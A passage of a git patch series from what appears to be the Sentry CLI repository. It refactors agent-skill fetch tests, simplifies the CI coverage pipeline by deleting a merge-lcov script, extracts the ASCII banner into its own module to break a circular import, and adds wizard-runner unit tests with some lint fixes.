files on successful fetch", async () => { - mockFetch(async (url) => { - const urlStr = typeof url === "string" ? url : url.toString(); - if (urlStr.endsWith("index.json")) { - return new Response(SAMPLE_INDEX_JSON, { status: 200 }); - } - if (urlStr.endsWith("SKILL.md")) { - return new Response("# Index", { status: 200 }); - } - if (urlStr.endsWith("auth.md")) { - return new Response("# Auth", { status: 200 }); - } - if (urlStr.endsWith("issue.md")) { - return new Response("# Issue", { status: 200 }); - } - return new Response("Not found", { status: 404 }); - }); + test("returns content on successful fetch", async () => { + mockFetch(async () => new Response("# Skill Content", { status: 200 })); - const files = await fetchSkillContent("0.8.0"); - expect(files).not.toBeNull(); - expect(files!.size).toBe(3); - expect(files!.get("SKILL.md")).toBe("# Index"); - expect(files!.get("references/auth.md")).toBe("# Auth"); - expect(files!.get("references/issue.md")).toBe("# Issue"); + const content = await fetchSkillContent("0.8.0"); + expect(content).toBe("# Skill Content"); }); test("falls back to cli.sentry.dev when versioned URL returns 404", async () => { @@ -147,21 +118,14 @@ describe("agent-skills", () => { if (urlStr.includes("raw.githubusercontent.com")) { return new Response("Not found", { status: 404 }); } - if (urlStr.endsWith("index.json")) { - return new Response( - JSON.stringify({ - skills: [{ name: "sentry-cli", files: ["SKILL.md"] }], - }), - { status: 200 } - ); - } return new Response("# Fallback Content", { status: 200 }); }); - const files = await fetchSkillContent("99.99.99"); - expect(files).not.toBeNull(); - expect(files!.get("SKILL.md")).toBe("# Fallback Content"); - expect(fetchedUrls.some((u) => u.includes("cli.sentry.dev"))).toBe(true); + const content = await fetchSkillContent("99.99.99"); + expect(content).toBe("# Fallback Content"); + expect(fetchedUrls).toHaveLength(2); + expect(fetchedUrls[0]).toContain("raw.githubusercontent.com"); + expect(fetchedUrls[1]).toContain("cli.sentry.dev"); }); test("does not double-fetch fallback URL for dev versions", async () => { @@ -169,31 +133,19 @@ describe("agent-skills", () => { mockFetch(async (url) => { const urlStr = typeof url === "string" ? url : url.toString(); fetchedUrls.push(urlStr); - if (urlStr.endsWith("index.json")) { - return new Response( - JSON.stringify({ - skills: [{ name: "sentry-cli", files: ["SKILL.md"] }], - }), - { status: 200 } - ); - } return new Response("# Dev Content", { status: 200 }); }); - const files = await fetchSkillContent("0.0.0-dev"); - expect(files).not.toBeNull(); - expect(files!.get("SKILL.md")).toBe("# Dev Content"); - // Should only hit cli.sentry.dev (fallback), never raw.githubusercontent.com - expect( - fetchedUrls.every((u) => u.includes("cli.sentry.dev")) - ).toBe(true); + const content = await fetchSkillContent("0.0.0-dev"); + expect(content).toBe("# Dev Content"); + expect(fetchedUrls).toHaveLength(1); }); test("returns null when all fetches fail", async () => { mockFetch(async () => new Response("Error", { status: 500 })); - const files = await fetchSkillContent("0.8.0"); - expect(files).toBeNull(); + const content = await fetchSkillContent("0.8.0"); + expect(content).toBeNull(); }); test("returns null on network error", async () => { @@ -201,45 +153,8 @@ describe("agent-skills", () => { throw new Error("Network error"); }); - const files = await fetchSkillContent("0.8.0"); - expect(files).toBeNull(); - }); - - test("still returns SKILL.md when some reference files fail", async () => { - mockFetch(async (url) => { - const urlStr = typeof url === "string" ? url : url.toString(); - if (urlStr.endsWith("index.json")) { - return new Response(SAMPLE_INDEX_JSON, { status: 200 }); - } - if (urlStr.endsWith("SKILL.md")) { - return new Response("# Index", { status: 200 }); - } - // All reference files fail - return new Response("Not found", { status: 404 }); - }); - - const files = await fetchSkillContent("0.8.0"); - expect(files).not.toBeNull(); - expect(files!.size).toBe(1); - expect(files!.get("SKILL.md")).toBe("# Index"); - }); - - test("falls back to just SKILL.md when index.json is unavailable", async () => { - mockFetch(async (url) => { - const urlStr = typeof url === "string" ? url : url.toString(); - if (urlStr.endsWith("index.json")) { - return new Response("Not found", { status: 404 }); - } - if (urlStr.endsWith("SKILL.md")) { - return new Response("# Skill Content", { status: 200 }); - } - return new Response("Not found", { status: 404 }); - }); - - const files = await fetchSkillContent("0.8.0"); - expect(files).not.toBeNull(); - expect(files!.size).toBe(1); - expect(files!.get("SKILL.md")).toBe("# Skill Content"); + const content = await fetchSkillContent("0.8.0"); + expect(content).toBeNull(); }); }); @@ -253,28 +168,10 @@ describe("agent-skills", () => { ); mkdirSync(testDir, { recursive: true }); - mockFetch(async (url) => { - const urlStr = typeof url === "string" ? url : url.toString(); - if (urlStr.endsWith("index.json")) { - return new Response(SAMPLE_INDEX_JSON, { status: 200 }); - } - if (urlStr.endsWith("SKILL.md")) { - return new Response("# Sentry CLI Skill\nTest content", { - status: 200, - }); - } - if (urlStr.endsWith("auth.md")) { - return new Response("# Auth Commands\nAuth content", { - status: 200, - }); - } - if (urlStr.endsWith("issue.md")) { - return new Response("# Issue Commands\nIssue content", { - status: 200, - }); - } - return new Response("Not found", { status: 404 }); - }); + mockFetch( + async () => + new Response("# Sentry CLI Skill\nTest content", { status: 200 }) + ); }); afterEach(() => { @@ -286,7 +183,7 @@ describe("agent-skills", () => { expect(result).toBeNull(); }); - test("installs skill files when Claude Code is detected", async () => { + test("installs skill file when Claude Code is detected", async () => { mkdirSync(join(testDir, ".claude"), { recursive: true }); const result = await installAgentSkills(testDir, "0.8.0"); @@ -302,34 +199,6 @@ describe("agent-skills", () => { expect(content).toContain("# Sentry CLI Skill"); }); - test("creates references directory and writes reference files", async () => { - mkdirSync(join(testDir, ".claude"), { recursive: true }); - - const result = await installAgentSkills(testDir, "0.8.0"); - - expect(result).not.toBeNull(); - - // Verify reference files were written - const refsDir = join( - testDir, - ".claude", - "skills", - "sentry-cli", - "references" - ); - expect(existsSync(refsDir)).toBe(true); - - const authPath = join(refsDir, "auth.md"); - expect(existsSync(authPath)).toBe(true); - const authContent = await Bun.file(authPath).text(); - expect(authContent).toContain("# Auth Commands"); - - const issuePath = join(refsDir, "issue.md"); - expect(existsSync(issuePath)).toBe(true); - const issueContent = await Bun.file(issuePath).text(); - expect(issueContent).toContain("# Issue Commands"); - }); - test("creates intermediate directories", async () => { mkdirSync(join(testDir, ".claude"), { recursive: true }); From 89e98ca541a8c7cc5eb134f9eceb0a94f12f0f2a Mon Sep 17 00:00:00 2001 From: betegon Date: Tue, 3 Mar 2026 11:22:00 +0100 Subject: [PATCH 50/72] refactor: remove merge-lcov and simplify test/CI coverage pipeline Isolated tests now run without coverage merging, matching the pattern on main. Deletes script/merge-lcov.sh, reverts test:isolated to a plain bun test invocation, and removes the multi-step coverage merge from CI. Co-Authored-By: Claude Opus 4.6 --- .github/workflows/ci.yml | 7 ------- package.json | 2 +- script/merge-lcov.sh | 37 ------------------------------------- 3 files changed, 1 insertion(+), 45 deletions(-) delete mode 100755 script/merge-lcov.sh diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 0f5c8a2d..78950d12 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -169,19 +169,12 @@ jobs: run: bun install --frozen-lockfile - name: Unit Tests run: bun run test:unit - - name: Save Unit Coverage - run: cp coverage/lcov.info coverage/unit-lcov.info - name: Isolated Tests run: bun run test:isolated - - name: Merge Coverage - run: | - cat coverage/unit-lcov.info coverage/lcov.info > coverage/combined-lcov.info - bash script/merge-lcov.sh coverage/combined-lcov.info > coverage/merged-lcov.info - name: Upload Coverage uses: getsentry/codecov-action@main with: token: ${{ secrets.GITHUB_TOKEN }} - files: coverage/merged-lcov.info build-binary: name: Build Binary (${{ matrix.target }}) diff --git a/package.json b/package.json index fdd024c9..936bb2f5 100644 --- a/package.json +++ b/package.json @@ -65,7 +65,7 @@ "lint:fix": "bunx ultracite fix", "test": "bun run test:unit && bun run test:isolated", "test:unit": "bun test test/lib test/commands test/types --coverage --coverage-reporter=lcov", - "test:isolated": "rm -f coverage/_iso.info && for f in $(find test/isolated -name '*.test.ts' | sort); do bun test \"$f\" --coverage --coverage-reporter=lcov || exit 1; cat coverage/lcov.info >> coverage/_iso.info; done && bash script/merge-lcov.sh coverage/_iso.info > coverage/lcov.info && rm coverage/_iso.info", + "test:isolated": "bun test test/isolated", "test:e2e": "bun test test/e2e", "test:init-eval": "bun test test/init-eval --timeout 600000 --concurrency 6", "generate:skill": "bun run script/generate-skill.ts", diff --git a/script/merge-lcov.sh b/script/merge-lcov.sh deleted file mode 100755 index 8b9e3ed1..00000000 --- a/script/merge-lcov.sh +++ /dev/null @@ -1,37 +0,0 @@ -#!/usr/bin/env bash -# Merges duplicate LCOV records for the same source file, taking the max hit -# count per line. Designed for bun's LCOV output (TN/SF/FNF/FNH/DA/LF/LH). -# Usage: merge-lcov.sh input.info > output.info - -awk ' -/^SF:/ { f = substr($0, 4) } -/^FNF:/ { v = substr($0, 5)+0; if (v > fnf[f]) fnf[f] = v } -/^FNH:/ { v = substr($0, 5)+0; if (v > fnh[f]) fnh[f] = v } -/^DA:/ { - split(substr($0, 4), a, ",") - k = f SUBSEP a[1] - v = a[2]+0 - if (!(k in d) || v > d[k]) d[k] = v - if (!(k in s)) { s[k] = 1; o[f] = o[f] " " a[1] } - F[f] = 1 -} -END { - for (f in F) { - print "TN:" - print "SF:" f - print "FNF:" fnf[f]+0 - print "FNH:" fnh[f]+0 - n = split(o[f], a, " ") - lf = 0; lh = 0 - for (i = 1; i <= n; i++) { - if (a[i] == "") continue - k = f SUBSEP a[i] - print "DA:" a[i] "," d[k] - lf++ - if (d[k] > 0) lh++ - } - print "LF:" lf - print "LH:" lh - print "end_of_record" - } -}' "$1" From cae38bbd71c0428e4ac7129bbc595a504954d76e Mon Sep 17 00:00:00 2001 From: betegon Date: Tue, 3 Mar 2026 11:32:10 +0100 Subject: [PATCH 51/72] fix: reset process.exitCode in test resetAllMocks to prevent CI exit code 1 The "handles missing suspend payload" test sets process.exitCode = 1 but never resets it. When all isolated tests run in one process, the leaked exitCode causes bun to exit 1 despite all 108 tests passing. Co-Authored-By: Claude Opus 4.6 --- test/isolated/init-wizard-runner.test.ts | 1 + 1 file changed, 1 insertion(+) diff --git a/test/isolated/init-wizard-runner.test.ts b/test/isolated/init-wizard-runner.test.ts index 1dbe25c8..89fbb89a 100644 --- a/test/isolated/init-wizard-runner.test.ts +++ b/test/isolated/init-wizard-runner.test.ts @@ -129,6 +129,7 @@ function resetAllMocks() { mockResumeResults = []; resumeCallCount = 0; startShouldThrow = false; + process.exitCode = 0; } describe("runWizard", () => { From b5a8c8f9fee55a3635c187b28ef9874797de6236 Mon Sep 17 00:00:00 2001 From: betegon Date: Tue, 3 Mar 2026 12:00:41 +0100 Subject: [PATCH 52/72] test: add wizard-runner unit tests to improve patch coverage to >= 80% MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Extract formatBanner into src/lib/banner.ts to break the circular import chain (wizard-runner → help → app → init → wizard-runner), enabling init.test.ts to use spyOn instead of mock.module (which leaked across test files causing 14 false failures). Add 15 unit tests for wizard-runner.ts covering success, error, TTY check, dry-run, and all suspend/resume paths — raising its coverage from 5.94% to 99.42%. Co-Authored-By: Claude Opus 4.6 --- src/lib/banner.ts | 39 ++ src/lib/help.ts | 33 +- src/lib/init/wizard-runner.ts | 2 +- test/commands/init.test.ts | 32 +- test/isolated/init-wizard-runner.test.ts | 2 +- test/lib/init/wizard-runner.test.ts | 489 +++++++++++++++++++++++ 6 files changed, 550 insertions(+), 47 deletions(-) create mode 100644 src/lib/banner.ts create mode 100644 test/lib/init/wizard-runner.test.ts diff --git a/src/lib/banner.ts b/src/lib/banner.ts new file mode 100644 index 00000000..5a42b33d --- /dev/null +++ b/src/lib/banner.ts @@ -0,0 +1,39 @@ +/** + * Banner Formatting + * + * Standalone module for the Sentry ASCII banner. + * Extracted to avoid circular imports (wizard-runner → help → app → init → wizard-runner). + */ + +import chalk from "chalk"; + +/** ASCII art banner rows for gradient coloring */ +const BANNER_ROWS = [ + " ███████╗███████╗███╗ ██╗████████╗██████╗ ██╗ ██╗", + " ██╔════╝██╔════╝████╗ ██║╚══██╔══╝██╔══██╗╚██╗ ██╔╝", + " ███████╗█████╗ ██╔██╗ ██║ ██║ ██████╔╝ ╚████╔╝ ", + " ╚════██║██╔══╝ ██║╚██╗██║ ██║ ██╔══██╗ ╚██╔╝ ", + " ███████║███████╗██║ ╚████║ ██║ ██║ ██║ ██║ ", + " ╚══════╝╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ", +]; + +/** Purple gradient colors from bright to dark (Sentry brand-inspired) */ +const BANNER_GRADIENT = [ + "#B4A4DE", + "#9C84D4", + "#8468C8", + "#6C4EBA", + "#5538A8", + "#432B8A", +]; + +/** + * Format the banner with a vertical gradient effect. + * Each row gets progressively darker purple. + */ +export function formatBanner(): string { + return BANNER_ROWS.map((row, i) => { + const color = BANNER_GRADIENT[i] ?? "#B4A4DE"; + return chalk.hex(color)(row); + }).join("\n"); +} diff --git a/src/lib/help.ts b/src/lib/help.ts index bc632118..c6125a20 100644 --- a/src/lib/help.ts +++ b/src/lib/help.ts @@ -6,42 +6,13 @@ * Commands are auto-generated from Stricli's route structure. */ -import chalk from "chalk"; import { routes } from "../app.js"; import type { Writer } from "../types/index.js"; +import { formatBanner } from "./banner.js"; import { isAuthenticated } from "./db/auth.js"; import { cyan, magenta, muted } from "./formatters/colors.js"; -/** ASCII art banner rows for gradient coloring */ -const BANNER_ROWS = [ - " ███████╗███████╗███╗ ██╗████████╗██████╗ ██╗ ██╗", - " ██╔════╝██╔════╝████╗ ██║╚══██╔══╝██╔══██╗╚██╗ ██╔╝", - " ███████╗█████╗ ██╔██╗ ██║ ██║ ██████╔╝ ╚████╔╝ ", - " ╚════██║██╔══╝ ██║╚██╗██║ ██║ ██╔══██╗ ╚██╔╝ ", - " ███████║███████╗██║ ╚████║ ██║ ██║ ██║ ██║ ", - " ╚══════╝╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ", -]; - -/** Purple gradient colors from bright to dark (Sentry brand-inspired) */ -const BANNER_GRADIENT = [ - "#B4A4DE", - "#9C84D4", - "#8468C8", - "#6C4EBA", - "#5538A8", - "#432B8A", -]; - -/** - * Format the banner with a vertical gradient effect. - * Each row gets progressively darker purple. - */ -export function formatBanner(): string { - return BANNER_ROWS.map((row, i) => { - const color = BANNER_GRADIENT[i] ?? "#B4A4DE"; - return chalk.hex(color)(row); - }).join("\n"); -} +export { formatBanner }; const TAGLINE = "The command-line interface for Sentry"; diff --git a/src/lib/init/wizard-runner.ts b/src/lib/init/wizard-runner.ts index fa627812..77c5874d 100644 --- a/src/lib/init/wizard-runner.ts +++ b/src/lib/init/wizard-runner.ts @@ -11,7 +11,7 @@ import { cancel, intro, log, spinner } from "@clack/prompts"; import { MastraClient } from "@mastra/client-js"; import { CLI_VERSION } from "../constants.js"; import { getAuthToken } from "../db/auth.js"; -import { formatBanner } from "../help.js"; +import { formatBanner } from "../banner.js"; import { STEP_LABELS, WizardCancelledError } from "./clack-utils.js"; import { MASTRA_API_URL, diff --git a/test/commands/init.test.ts b/test/commands/init.test.ts index f11da08a..06d0812f 100644 --- a/test/commands/init.test.ts +++ b/test/commands/init.test.ts @@ -1,25 +1,19 @@ /** * Tests for the `sentry init` command entry point. * - * Mocks only wizard-runner.js to break the circular import chain - * (init.ts → wizard-runner.js → help.js → app.ts → init.ts) - * and capture the arguments passed to runWizard. + * Uses spyOn on the wizard-runner namespace to capture runWizard calls + * without mock.module (which leaks across test files). */ -import { beforeEach, describe, expect, mock, test } from "bun:test"; +import { afterEach, beforeEach, describe, expect, spyOn, test } from "bun:test"; import path from "node:path"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as wizardRunner from "../../src/lib/init/wizard-runner.js"; +import { initCommand } from "../../src/commands/init.js"; -// ── Mock wizard-runner to capture runWizard call args ───────────────────── +// ── Spy on runWizard to capture call args ───────────────────────────────── let capturedArgs: Record | undefined; - -mock.module("../../src/lib/init/wizard-runner.js", () => ({ - runWizard: mock((args: Record) => { - capturedArgs = args; - return Promise.resolve(); - }), -})); - -const { initCommand } = await import("../../src/commands/init.js"); +let runWizardSpy: ReturnType; const func = (await initCommand.loader()) as ( this: { @@ -43,6 +37,16 @@ function makeContext(cwd = "/projects/app") { beforeEach(() => { capturedArgs = undefined; + runWizardSpy = spyOn(wizardRunner, "runWizard").mockImplementation( + (args: Record) => { + capturedArgs = args; + return Promise.resolve(); + } + ); +}); + +afterEach(() => { + runWizardSpy.mockRestore(); }); describe("init command func", () => { diff --git a/test/isolated/init-wizard-runner.test.ts b/test/isolated/init-wizard-runner.test.ts index 89fbb89a..707b7426 100644 --- a/test/isolated/init-wizard-runner.test.ts +++ b/test/isolated/init-wizard-runner.test.ts @@ -64,7 +64,7 @@ mock.module("../../src/lib/db/auth.js", () => ({ isAuthenticated: () => Promise.resolve(false), })); -mock.module("../../src/lib/help.js", () => ({ +mock.module("../../src/lib/banner.js", () => ({ formatBanner: () => "BANNER", })); diff --git a/test/lib/init/wizard-runner.test.ts b/test/lib/init/wizard-runner.test.ts new file mode 100644 index 00000000..eb203651 --- /dev/null +++ b/test/lib/init/wizard-runner.test.ts @@ -0,0 +1,489 @@ +/** + * Wizard Runner Unit Tests + * + * Tests for the init wizard runner using spyOn on namespace imports + * (no mock.module) so these run under test:unit and contribute to + * lcov coverage. + */ + +import { + afterEach, + beforeEach, + describe, + expect, + mock, + spyOn, + test, +} from "bun:test"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as clack from "@clack/prompts"; +import { MastraClient } from "@mastra/client-js"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as auth from "../../../src/lib/db/auth.js"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as banner from "../../../src/lib/banner.js"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as fmt from "../../../src/lib/init/formatters.js"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as inter from "../../../src/lib/init/interactive.js"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as ops from "../../../src/lib/init/local-ops.js"; +import type { + WizardOptions, + WorkflowRunResult, +} from "../../../src/lib/init/types.js"; +import { runWizard } from "../../../src/lib/init/wizard-runner.js"; + +// ── Helpers ───────────────────────────────────────────────────────────────── + +const noop = () => { + /* suppress output */ +}; + +function makeOptions(overrides?: Partial): WizardOptions { + return { + directory: "/tmp/test", + force: false, + yes: true, + dryRun: false, + ...overrides, + }; +} + +// ── Spy declarations ──────────────────────────────────────────────────────── + +// clack +let introSpy: ReturnType; +let logInfoSpy: ReturnType; +let logWarnSpy: ReturnType; +let logErrorSpy: ReturnType; +let cancelSpy: ReturnType; +let spinnerSpy: ReturnType; + +// deps +let getAuthTokenSpy: ReturnType; +let formatBannerSpy: ReturnType; +let formatResultSpy: ReturnType; +let formatErrorSpy: ReturnType; +let handleLocalOpSpy: ReturnType; +let handleInteractiveSpy: ReturnType; + +// MastraClient +let getWorkflowSpy: ReturnType; + +// stderr +let stderrSpy: ReturnType; + +// ── Mock workflow run ─────────────────────────────────────────────────────── + +let mockStartResult: WorkflowRunResult; +let mockResumeResults: WorkflowRunResult[]; +let resumeCallCount: number; + +const spinnerMock = { + start: mock(), + stop: mock(), + message: mock(), +}; + +function setupWorkflowSpy() { + const mockRun = { + startAsync: mock(() => Promise.resolve(mockStartResult)), + resumeAsync: mock(() => { + const result = mockResumeResults[resumeCallCount] ?? { + status: "success" as const, + }; + resumeCallCount += 1; + return Promise.resolve(result); + }), + }; + + const mockWorkflow = { + createRun: mock(() => Promise.resolve(mockRun)), + }; + + getWorkflowSpy = spyOn(MastraClient.prototype, "getWorkflow").mockReturnValue( + mockWorkflow as any + ); + + return { mockRun, mockWorkflow }; +} + +// ── Setup / Teardown ──────────────────────────────────────────────────────── + +beforeEach(() => { + mockStartResult = { status: "success" }; + mockResumeResults = []; + resumeCallCount = 0; + process.exitCode = 0; + + // clack spies + introSpy = spyOn(clack, "intro").mockImplementation(noop); + logInfoSpy = spyOn(clack.log, "info").mockImplementation(noop); + logWarnSpy = spyOn(clack.log, "warn").mockImplementation(noop); + logErrorSpy = spyOn(clack.log, "error").mockImplementation(noop); + cancelSpy = spyOn(clack, "cancel").mockImplementation(noop); + spinnerSpy = spyOn(clack, "spinner").mockReturnValue(spinnerMock as any); + + // Reset spinner mock call counts + spinnerMock.start.mockClear(); + spinnerMock.stop.mockClear(); + spinnerMock.message.mockClear(); + + // dep spies + getAuthTokenSpy = spyOn(auth, "getAuthToken").mockReturnValue("fake-token"); + formatBannerSpy = spyOn(banner, "formatBanner").mockReturnValue("BANNER"); + formatResultSpy = spyOn(fmt, "formatResult").mockImplementation(noop); + formatErrorSpy = spyOn(fmt, "formatError").mockImplementation(noop); + handleLocalOpSpy = spyOn(ops, "handleLocalOp").mockResolvedValue({ + ok: true, + data: { results: [] }, + }); + handleInteractiveSpy = spyOn(inter, "handleInteractive").mockResolvedValue({ + action: "continue", + }); + + // stderr spy (suppress banner output) + stderrSpy = spyOn(process.stderr, "write").mockImplementation( + () => true as any + ); + + // MastraClient + setupWorkflowSpy(); +}); + +afterEach(() => { + introSpy.mockRestore(); + logInfoSpy.mockRestore(); + logWarnSpy.mockRestore(); + logErrorSpy.mockRestore(); + cancelSpy.mockRestore(); + spinnerSpy.mockRestore(); + + getAuthTokenSpy.mockRestore(); + formatBannerSpy.mockRestore(); + formatResultSpy.mockRestore(); + formatErrorSpy.mockRestore(); + handleLocalOpSpy.mockRestore(); + handleInteractiveSpy.mockRestore(); + + stderrSpy.mockRestore(); + getWorkflowSpy.mockRestore(); + + process.exitCode = 0; +}); + +// ── Tests ─────────────────────────────────────────────────────────────────── + +describe("runWizard", () => { + describe("success path", () => { + test("calls formatResult when workflow completes successfully", async () => { + mockStartResult = { status: "success", result: { platform: "React" } }; + + await runWizard(makeOptions()); + + expect(formatResultSpy).toHaveBeenCalled(); + expect(formatErrorSpy).not.toHaveBeenCalled(); + expect(spinnerMock.stop).toHaveBeenCalledWith("Done"); + }); + }); + + describe("TTY check", () => { + test("writes error to stderr when not TTY and not --yes", async () => { + const origIsTTY = process.stdin.isTTY; + Object.defineProperty(process.stdin, "isTTY", { + value: false, + configurable: true, + }); + + await runWizard(makeOptions({ yes: false })); + + Object.defineProperty(process.stdin, "isTTY", { + value: origIsTTY, + configurable: true, + }); + + const written = stderrSpy.mock.calls.map((c) => String(c[0])).join(""); + expect(written).toContain("Interactive mode requires a terminal"); + expect(process.exitCode).toBe(1); + }); + }); + + describe("connection error", () => { + test("handles startAsync rejection gracefully", async () => { + const mockRun = { + startAsync: mock(() => Promise.reject(new Error("Connection refused"))), + resumeAsync: mock(), + }; + const mockWorkflow = { + createRun: mock(() => Promise.resolve(mockRun)), + }; + getWorkflowSpy.mockReturnValue(mockWorkflow as any); + + await runWizard(makeOptions()); + + expect(logErrorSpy).toHaveBeenCalledWith("Connection refused"); + expect(cancelSpy).toHaveBeenCalledWith("Setup failed"); + expect(process.exitCode).toBe(1); + }); + }); + + describe("workflow failure", () => { + test("calls formatError when status is failed", async () => { + mockStartResult = { status: "failed", error: "workflow exploded" }; + + await runWizard(makeOptions()); + + expect(formatErrorSpy).toHaveBeenCalled(); + expect(formatResultSpy).not.toHaveBeenCalled(); + expect(process.exitCode).toBe(1); + }); + }); + + describe("success with exitCode", () => { + test("treats success with exitCode as error", async () => { + mockStartResult = { + status: "success", + result: { exitCode: 10 } as unknown, + }; + + await runWizard(makeOptions()); + + expect(formatErrorSpy).toHaveBeenCalled(); + expect(process.exitCode).toBe(1); + }); + }); + + describe("dry-run mode", () => { + test("shows dry-run warning on start", async () => { + mockStartResult = { status: "success" }; + + await runWizard(makeOptions({ dryRun: true })); + + expect(logWarnSpy).toHaveBeenCalled(); + const warnMsg: string = logWarnSpy.mock.calls[0][0]; + expect(warnMsg).toContain("Dry-run"); + }); + }); + + describe("suspend/resume loop", () => { + test("dispatches local-op payload to handleLocalOp", async () => { + mockStartResult = { + status: "suspended", + suspended: [["detect-platform"]], + steps: { + "detect-platform": { + suspendPayload: { + type: "local-op", + operation: "list-dir", + cwd: "/app", + params: { path: "." }, + }, + }, + }, + }; + mockResumeResults = [{ status: "success" }]; + + await runWizard(makeOptions()); + + expect(handleLocalOpSpy).toHaveBeenCalled(); + const payload = handleLocalOpSpy.mock.calls[0][0] as { + type: string; + operation: string; + }; + expect(payload.type).toBe("local-op"); + expect(payload.operation).toBe("list-dir"); + }); + + test("dispatches interactive payload to handleInteractive", async () => { + mockStartResult = { + status: "suspended", + suspended: [["select-features"]], + steps: { + "select-features": { + suspendPayload: { + type: "interactive", + kind: "multi-select", + prompt: "Select features", + availableFeatures: ["errorMonitoring"], + }, + }, + }, + }; + mockResumeResults = [{ status: "success" }]; + + await runWizard(makeOptions()); + + expect(handleInteractiveSpy).toHaveBeenCalled(); + const payload = handleInteractiveSpy.mock.calls[0][0] as { + type: string; + kind: string; + }; + expect(payload.type).toBe("interactive"); + expect(payload.kind).toBe("multi-select"); + }); + + test("auto-continues verify-changes in dry-run mode", async () => { + mockStartResult = { + status: "suspended", + suspended: [["verify-changes"]], + steps: { + "verify-changes": { + suspendPayload: { + type: "interactive", + kind: "confirm", + prompt: "Changes look good?", + }, + }, + }, + }; + mockResumeResults = [{ status: "success" }]; + + await runWizard(makeOptions({ dryRun: true })); + + expect(handleInteractiveSpy).not.toHaveBeenCalled(); + }); + + test("handles unknown suspend payload type", async () => { + mockStartResult = { + status: "suspended", + suspended: [["some-step"]], + steps: { + "some-step": { + suspendPayload: { type: "alien", data: 42 }, + }, + }, + }; + + await runWizard(makeOptions()); + + expect(logErrorSpy).toHaveBeenCalled(); + const errorMsg: string = logErrorSpy.mock.calls[0][0]; + expect(errorMsg).toContain("alien"); + expect(process.exitCode).toBe(1); + }); + + test("handles missing suspend payload", async () => { + mockStartResult = { + status: "suspended", + suspended: [["empty-step"]], + steps: {}, + }; + + await runWizard(makeOptions()); + + expect(logErrorSpy).toHaveBeenCalled(); + const errorMsg: string = logErrorSpy.mock.calls[0][0]; + expect(errorMsg).toContain("No suspend payload"); + expect(process.exitCode).toBe(1); + }); + + test("non-WizardCancelledError in catch triggers log.error + cancel", async () => { + handleLocalOpSpy.mockImplementation(() => + Promise.reject("string error") + ); + + mockStartResult = { + status: "suspended", + suspended: [["detect-platform"]], + steps: { + "detect-platform": { + suspendPayload: { + type: "local-op", + operation: "list-dir", + cwd: "/app", + params: { path: "." }, + }, + }, + }, + }; + + await runWizard(makeOptions()); + + expect(logErrorSpy).toHaveBeenCalledWith("string error"); + expect(cancelSpy).toHaveBeenCalledWith("Setup failed"); + expect(process.exitCode).toBe(1); + }); + + test("falls back to result.suspendPayload when step payload missing", async () => { + mockStartResult = { + status: "suspended", + suspended: [["unknown-step"]], + steps: {}, + suspendPayload: { + type: "local-op", + operation: "read-files", + cwd: "/app", + params: { paths: ["package.json"] }, + }, + }; + mockResumeResults = [{ status: "success" }]; + + await runWizard(makeOptions()); + + expect(handleLocalOpSpy).toHaveBeenCalled(); + }); + + test("falls back to iterating steps when stepId key not found", async () => { + mockStartResult = { + status: "suspended", + suspended: [["step-a"]], + steps: { + "step-b": { + suspendPayload: { + type: "local-op", + operation: "read-files", + cwd: "/app", + params: { paths: ["index.ts"] }, + }, + }, + }, + }; + mockResumeResults = [{ status: "success" }]; + + await runWizard(makeOptions()); + + expect(handleLocalOpSpy).toHaveBeenCalled(); + }); + + test("handles multiple suspend/resume iterations", async () => { + mockStartResult = { + status: "suspended", + suspended: [["detect-platform"]], + steps: { + "detect-platform": { + suspendPayload: { + type: "local-op", + operation: "list-dir", + cwd: "/app", + params: { path: "." }, + }, + }, + }, + }; + mockResumeResults = [ + { + status: "suspended", + suspended: [["select-features"]], + steps: { + "select-features": { + suspendPayload: { + type: "interactive", + kind: "multi-select", + prompt: "Select features", + availableFeatures: ["errorMonitoring"], + }, + }, + }, + }, + { status: "success" }, + ]; + + await runWizard(makeOptions()); + + expect(handleLocalOpSpy).toHaveBeenCalledTimes(1); + expect(handleInteractiveSpy).toHaveBeenCalledTimes(1); + expect(formatResultSpy).toHaveBeenCalled(); + }); + }); +}); From 39e4b5aa89b3cb708391997aae9229f15c83b8b7 Mon Sep 17 00:00:00 2001 From: betegon Date: Tue, 3 Mar 2026 12:04:38 +0100 Subject: [PATCH 53/72] fix: lint errors in wizard-runner test and imports Fix import ordering in wizard-runner.ts and init.test.ts, fix noExportedImports/noBarrelFile lint by removing re-export from help.ts and updating help.test.ts to import formatBanner from banner.js directly. Fix formatting nit in mockImplementation call. Co-Authored-By: Claude Opus 4.6 --- src/lib/help.ts | 2 -- src/lib/init/wizard-runner.ts | 2 +- test/commands/init.test.ts | 2 +- test/lib/help.test.ts | 3 ++- test/lib/init/wizard-runner.test.ts | 8 +++----- 5 files changed, 7 insertions(+), 10 deletions(-) diff --git a/src/lib/help.ts b/src/lib/help.ts index c6125a20..4f1163b1 100644 --- a/src/lib/help.ts +++ b/src/lib/help.ts @@ -12,8 +12,6 @@ import { formatBanner } from "./banner.js"; import { isAuthenticated } from "./db/auth.js"; import { cyan, magenta, muted } from "./formatters/colors.js"; -export { formatBanner }; - const TAGLINE = "The command-line interface for Sentry"; type HelpCommand = { diff --git a/src/lib/init/wizard-runner.ts b/src/lib/init/wizard-runner.ts index 77c5874d..a0814b1e 100644 --- a/src/lib/init/wizard-runner.ts +++ b/src/lib/init/wizard-runner.ts @@ -9,9 +9,9 @@ import { randomBytes } from "node:crypto"; import { cancel, intro, log, spinner } from "@clack/prompts"; import { MastraClient } from "@mastra/client-js"; +import { formatBanner } from "../banner.js"; import { CLI_VERSION } from "../constants.js"; import { getAuthToken } from "../db/auth.js"; -import { formatBanner } from "../banner.js"; import { STEP_LABELS, WizardCancelledError } from 